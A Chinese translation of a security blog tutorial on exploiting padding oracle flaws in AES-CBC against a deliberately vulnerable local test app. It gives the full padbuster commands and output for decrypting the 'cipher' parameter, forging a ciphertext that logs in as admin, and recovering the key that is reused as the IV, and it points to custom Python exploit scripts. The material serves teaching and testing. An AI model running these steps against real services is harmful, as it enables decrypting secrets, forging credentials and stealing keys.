0×00 前言
本文中我想分享一些利用padding oracle漏洞的实用技巧,这种类型的漏洞允许攻击者解密密文以及加密明文。有关padding oracle攻击概念以及工作原理的更多信息可以在Brian Holyfield的 上一篇博文 中找到。
0×01 简单的padding oracle场景
本文中使用的示例应用程序包含其他漏洞,使用该漏洞能够恢复加密密钥。我们将使用 padbuster 发起padding oracle攻击,并演示如何使用 python-paddingoracle库 创建一个定制的漏洞利用工具。此外,你可以在 GitHub 上找到本文示例的包含漏洞的应用程序。
应用程序解密一个名为‘cipher’的请求参数:
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted: ApplicationUsername=user&Password=sesame
因为加密密钥和初始化向量都用来加密和解密这个值,所以我们知道PKCS#5 padding的AES-128和相同的静态密码,并且此处没有HMAC或者其他信息的完整性检查。
关键字PKCS#5和MAC都没有表明应用程序可能容易受到padding oracle攻击。通过翻转第一块中的二进制位,我们就可以确认这里并没有对解密的数据进行语法检查。此外,我们还可以看到,应用程序顺利地处理了第一块中的垃圾数据:
curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: �+�]7N�d�����N�me=user&Password=sesame
下一步就是检查应用程序对不正确的padding是如何响应的。我们可以通过翻转最后一块中的位来做到这一点。由下面的代码可以看出,对于padding不正确时,应用程序会返回“decryption error”。
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff decryption error
现在知道这个应用程序包含这种漏洞,所以我们可以运行padbuster来利用它。我强烈推荐阅读Brian的padbuster博文,并查看帮助输出,但为了方便,你可以找到padbuster的简介如下:
padbuster URL EncryptedSample BlockSize [options]
在这种情况下运行padbuster很直观:块大小是16(16字节=128比特位),现在我们唯一需要的额外开关是-encoding 1(小写十六进制)。
padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 +-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+ INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 51 INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 *** INFO: No error string was provided...starting response analysis *** Response Analysis Complete *** The following response signatures were returned: ------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 42 N/A 2 ** 255 200 16 N/A ------------------------------------------------------- Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2 Continuing test with selection 2 [+] Success: (24/256) [Byte 16] [+] Success: (165/256) [Byte 15] [snip] Block 1 Results: [+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e [+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9 [+] Plain Text: ame=user&Passwor *** Starting Block 2 of 2 *** [snip] ------------------------------------------------------- ** Finished *** [+] Decrypted value (ASCII): ame=user&Password=sesame [snip]
请注意,恢复第一块是不可能的。查看下面有关CBC解密的框图能够有助于理解为什么无法恢复。通过利用padding oracle,就有可能在解密第一块之后获得中间值(padbuster中的-noiv选项)。然而,我们不知道计算第一块明文的初始化向量(IV)。
细心的读者可能已经意识到,知道明文允许我们计算初始化向量,而它会用作加密密钥,下图更加详细地解释了这一点。
为了节省时间,我们还可以为无效padding指定错误字符串:
-error “decryption error”
0×02 一个更加复杂的例子
现在让我们来看一个稍微复杂的场景:对于不正确的padding,应用程序不返回一个特定的错误消息。相反,应用程序解析已解密数据中的一些字段,如果未发现必需字段,则会返回一个错误消息。在这种情况下,所需的字段是“ApplicationUsername”和“Password”。
这里有一个成功请求的例子:“cipher”参数成功解密并包含所有必需的字段。应用程序以解密值和所有解析的字段响应请求。
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted: ApplicationUsername=user&Password=sesame parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
如果我们发送一个仅仅包含一个“Password”字段的请求,那么应用程序将返回“ApplicationUsername missing”。
curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a decrypted: Password=sesame curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a ApplicationUsername missing
而在加密值仅仅包含一个“ApplicationUsername”字段时,应用程序将返回“Password missing”。
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54 decrypted: ApplicationUsername=user curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54 Password missing
当篡改最后一块时,padding将变成无效。结果,因为应用程序无法解密“cipher”参数,所以会返回 “ApplicationUsername missing”。
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff ApplicationUsername missing
不幸的是,使用最小项(minimal options)启动padbuster会失败:当它试图暴力破解第一块时,总是遇到同样的错误消息(ApplicationUsername missing)。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip] ERROR: All of the responses were identical. Double check the Block Size and try again.
但是,我们仍然可以利用应用程序检查字段的顺序特点来破解:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。
在下面的例子中,在执行padding oracle攻击时,我们预先考虑了密文的前两个块,这是因为“ApplicationUsername”字段横跨了两个块(见附录)。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" +-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+ INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 117 INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 *** [snip] ------------------------------------------------------- ** Finished *** [+] Decrypted value (ASCII): ame=user&Password=sesame [snip]
0×03 加密
我们也可以加密任意内容(请参阅padbuster博文原文,以了解背后的工作原理)。不过,唯一的限制是不能控制第一块,这是因为此时静态初始化向量正在被占用。如果我们用“=bla&”终止第一块中无法控制的数据,那么应用程序将仍然接受由此产生的密文。注意,我们精心编制的密文不必具有与原始密文相同的长度。
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin" [snip] [+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000 ------------------------------------------------------- curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000 decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin parsed: {'/xf7/xc1_c/x9e/x1cI/x9aB/xccC/x10/xac/x07/x90/x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0×04 获得密钥
能够解密并编造“cipher”参数都非常糟糕了,但为密钥设置初始化向量却引入了另一个漏洞:初始化向量(以及由此产生的加密密钥)是第一块与解密第一块所产生的中间值进行XOR运算得到的明文(见下面的框图)。
我们可以这样假设,攻击者可以根据以下信息猜出明文:规范、从padding oracle攻击中的解密部分或者应用程序展示的消息。
通过使用padbuster 的“-noiv”开关,我们能够得到解密第一块后的中间值:
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv [snip] Block 1 Results: [+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b [+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728 [snip]
一旦我们得到中间值,那么我们将其与明文进行XOR运算就可以获取加密密钥:
0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’) XOR 0x7141425f5d56574351562f1730213728 (intermediate value) = 0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0×05 定制Python脚本
在padbuster不够灵活的情况下,python-paddingoracle库允许我们创建一个定制的漏洞利用工具。例如,当目标应用程序使用CSRF令牌或在测试web服务时。
在GitHub上可以找到两个利用了我们示例的web应用的Python脚本。第一个脚本“http-simple.py”针对简单的场景。更高级的场景需要前缀密文,这已在“http-advanced.py”中实现了,这个脚本还演示了如何加密明文及计算密钥。
0×06 附录:密文块
块1: 484b850123a04baf15df9be14e87369b ApplicationUsern 块2: c59ca16e1f3645ef53cc6a4d9d87308e ame=user&Passwor 块3: d2382fb0a54f3a2954bfebe0a04dd4d6 d=sesame[padding]
*参考来源: gdssecurity ,编译/FB小编JackFree,有适当删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)